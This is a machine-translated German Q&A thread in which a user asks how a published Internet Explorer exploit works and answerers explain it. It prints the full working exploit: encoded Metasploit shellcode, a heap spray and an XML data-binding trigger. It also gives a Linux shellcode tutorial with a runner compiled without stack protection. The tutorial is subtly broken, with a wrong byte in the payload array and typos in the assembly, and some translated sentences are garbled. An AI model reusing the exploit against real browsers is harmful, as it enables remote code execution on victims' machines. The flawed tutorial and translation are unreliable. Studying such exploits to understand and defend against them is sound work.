Normalerweise habe ich keine Schwierigkeiten, das JavaScript-Skript zu lesen, aber ich kann die Logik nicht verstehen. Der Code stammt von einem Exploit, der vor 4 Tagen veröffentlicht wurde. Sie finden es unter milw0rm .
Hier ist der Code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Ich glaube daran, dass es das tut, und ich möchte, dass Sie mir für den Teil helfen, den ich falsch verstanden habe.
Die Variable shellcode
enthält den Code zum Öffnen der calc.exe. Ich verstehe nicht, wie sie diese seltsame Saite gefunden haben ... keine Idee?
Die zweite Sache ist die Variable spray
. Verstehe ich diese komische Schleife nicht?
Die dritte Sache ist die Variable memory
, die nirgendwo verwendet wird. Warum erstellen sie sie?
Zum Schluss: Was macht das XML-Tag auf der Seite?
Okay, im Moment habe ich gute Antworten, aber meistens sehr. Ich hätte gerne mehr Erklärungen zum Wert des Codes. Ein Beispiel ist unescape("%u0a0a%u0a0a");
. Was bedeutet das? Dasselbe für die Schleife, warum schrieb der Entwickler: length < 0xd0000
? Ich möchte ein tieferes Verständnis, nicht nur die Theorie dieses Codes.
Der Shellcode enthält einige x86-Assembly-Anweisungen, die den eigentlichen Exploit erledigen. spray
erstellt eine lange Folge von Anweisungen, die in memory
eingefügt werden. Da wir die genaue Position unseres Shellcodes im Speicher normalerweise nicht herausfinden können, fügen wir viele nop
-Anweisungen vor und springen irgendwo dorthin. Das memory
-Array enthält den eigentlichen x86-Code zusammen mit dem Sprungmechanismus. Wir werden das erstellte XML der Bibliothek mit einem Fehler zuführen. Wenn er analysiert wird, bewirkt der Fehler, dass das Befehlszeigerregister irgendwo in unserem Exploit zugewiesen wird, was zur Ausführung von beliebigem Code führt.
Für ein tieferes Verständnis sollten Sie herausfinden, was im x86-Code enthalten ist. unscape
wird verwendet, um die Reihenfolge der Bytes der Zeichenfolge in die Variable spray
zu setzen. Es ist ein gültiger x86-Code, der einen großen Teil des Heaps ausfüllt und an den Anfang des Shellcodes springt. Der Grund für die Endebedingung ist die Begrenzung der Zeichenfolgenlänge der Skript-Engine. Sie dürfen keine Zeichenfolgen größer als eine bestimmte Länge haben.
In der x86-Assembly steht 0a0a
für or cl, [edx]
. Dies entspricht praktisch der Anweisung nop
im Sinne unseres Exploits. Wo immer wir in spray
springen, gelangen wir zur nächsten Anweisung, bis wir den Shellcode erreichen, den Code, den wir tatsächlich ausführen möchten.
Wenn Sie sich das XML anschauen, sehen Sie, dass auch 0x0a0a
vorhanden ist. Um genau zu beschreiben, was passiert, ist eine genaue Kenntnis des Exploits erforderlich (Sie müssen wissen, wo sich der Fehler befindet und wie er ausgenutzt wird, was ich nicht weiß). Es scheint jedoch, dass wir Internet Explorer zwingen, den fehlerhaften Code auszulösen, indem Sie innerHtml
auf diese schädliche XML-Zeichenfolge setzen. Internet Explorer versucht, es zu analysieren, und der fehlerhafte Code gibt auf irgendeine Weise die Kontrolle an einem Speicherort, an dem das Array vorhanden ist (da es sich um einen großen Block handelt, ist die Wahrscheinlichkeit hoch, dort zu springen). Wenn wir dorthin springen, wird die CPU or cl, [edx]
-Anweisungen ausführen, bis der Anfang des Shellcodes erreicht ist, der im Speicher abgelegt wurde.
Ich habe den Shellcode zerlegt:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 Push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Um diesen Shellcode zu verstehen, sind x86 Assembly-Kenntnisse und das Problem in der MS-Bibliothek selbst erforderlich (um zu wissen, wie der Systemstatus ist, wenn wir hier ankommen), nicht JavaScript! Dieser Code führt calc.exe
aus.
Sie sollten sich mit Heap Spraying beschäftigen:
Dies sieht aus wie ein Angriff auf den aktuellen Internet Explorer-Fehler , für den Microsoft den Notfall-Patch veröffentlicht hat. Es verwendet einen Fehler in der Datenbindungsfunktion des XML-Handlers von Microsoft, der dazu führt, dass Heap-Speicher falsch freigegeben wird.
Shellcode ist Maschinencode, der ausgeführt wird, wenn der Fehler auftritt. Spray und Speicher sind nur ein Teil des Speicherplatzes, um den ausnutzbaren Zustand zu ermöglichen.
Heap-Spraying ist eine gängige Methode, um Browser-Sachen auszunutzen. Wenn Sie sich damit beschäftigen, können Sie mehrere Beiträge wie diese finden: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Jedes Mal, wenn ich Speicher sehe, der in einer Exploit-Diskussion nicht angesprochen wird, ist mein erster Gedanke, dass es sich bei dem Exploit um eine Art Pufferüberlauf handelt. In diesem Fall verursacht der Speicher entweder einen Pufferüberlauf oder ein Zugriff auf den Pufferüberlauf .
Einfaches Shellcode-Beispiel
Hallo Welt in Assembly bei & t Syntax x86 glaube ich (Wizard in Training).
die Datei einrichten: vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
kompilieren Sie wie folgt: as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Jetzt haben Sie eine Binärdatei, die Hallo Welt . Ausgibt, um die Binärdatei in Shell-Code zu konvertieren: objdump -D shellcode
sie erhalten die Ausgabe:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Wenn Sie nun in der vierten Zeile mit Text suchen, sehen Sie: 400078: eb 1a jmp 0x400094
der Teil, der eb 1a
sagt, ist die hexadezimale Darstellung der Assembly-Anweisung jmp one
, wobei "eins" die Speicheradresse Ihrer Zeichenfolge ist.
um Ihren Shellcode für die Ausführung vorzubereiten, öffnen Sie eine weitere Textdatei und speichern Sie die Hex-Werte in einem Zeichenarray. Um den Shell-Code korrekt zu formatieren, geben Sie vor jedem Hex-Wert einen \x
ein.
das kommende Shell-Codebeispiel sieht entsprechend der Ausgabe des Befehls objdump wie folgt aus:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
In diesem Beispiel wird C für das Array ..__ verwendet. Jetzt haben Sie funktionierenden Shellcode, der in stdout "Hallo Welt" schreibt.
sie können den Shell-Code testen, indem Sie ihn in eine Sicherheitsanfälligkeit setzen, oder Sie können das folgende c-Programm schreiben, um es zu testen:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
Um das Programm zu kompilieren, geben Sie Folgendes ein:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
laufen mit ./run
Sie wissen, dass es ein funktionierendes Beispiel für die Entwicklung einfacher Shellcodes gibt, das in Linux Mint/Debian getestet wurde.
Siehe Zeichenkodierungen in HTML .
Es sind binäre Daten, die als Zeichenfolge codiert sind und von JavaScript decodiert werden.
Häufige Form von XSS auch.
Sie können alle Codierungs-Tricks hier sehen:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Dies ist von metasploit, das heißt, es verwendet einen von metasploit-Shell-Codes. Es ist Open Source, so dass Sie es kaufen können: http://www.metasploit.com/
Um mehr über die Sicherheitsanfälligkeit zu erfahren, würde ich empfehlen, MS08-078 und die SDL zu lesen.